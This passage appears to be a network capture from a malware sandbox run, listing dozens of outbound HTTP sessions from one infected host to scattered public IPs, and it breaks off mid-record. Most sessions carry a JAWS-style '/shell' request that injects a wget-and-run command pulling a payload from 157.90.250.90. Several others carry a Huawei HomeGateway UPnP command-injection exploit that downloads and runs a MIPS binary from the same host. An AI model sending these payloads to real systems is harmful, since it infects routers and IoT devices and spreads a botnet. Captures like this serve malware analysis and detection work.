55	192.168.2.23	36100	148.77.50.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.543416977 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	46164	120.53.85.174	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.544080973 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	43316	115.161.242.231	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.544732094 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	50814	189.63.67.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.545363903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	34050	133.151.36.237	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.546025991 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	33746	51.0.21.42	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.546660900 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	45496	161.115.163.88	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.547308922 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	40354	177.102.58.160	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.547929049 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	36696	83.228.148.68	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.548597097 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	37802	205.37.220.224	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.549242973 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	37786	66.28.161.170	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.549973011 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	52248	182.205.184.220	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.550627947 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	44064	2.116.62.181	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.551295042 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	41218	72.185.180.188	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.551968098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	40602	18.120.91.237	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.552584887 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	48866	49.132.127.254	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.553212881 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	60926	32.60.240.155	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.553828001 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	33070	116.198.57.17	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.554455996 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	39680	149.70.197.245	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.555085897 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	44588	186.244.224.1	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.555691004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	52836	83.119.82.146	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.556354046 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	48268	70.167.174.224	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.557034016 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	37904	208.170.5.222	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.557694912 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	37124	52.147.152.231	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.558460951 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	55606	138.128.101.135	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.559104919 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	52870	156.126.99.239	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.667560101 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	59800	111.131.4.87	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.728585005 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	58206	146.239.100.84	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.729506016 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	49922	73.123.193.39	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.730252028 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	45042	155.207.215.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.731055021 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	57504	186.44.230.51	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:49.731787920 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	38188	41.7.124.25	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:50.668894053 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	56452	197.193.108.120	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:50.669842005 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	53450	197.166.40.133	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:50.670569897 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	57304	197.132.62.119	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:50.671344042 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	39548	156.81.76.10	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:50.672044039 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 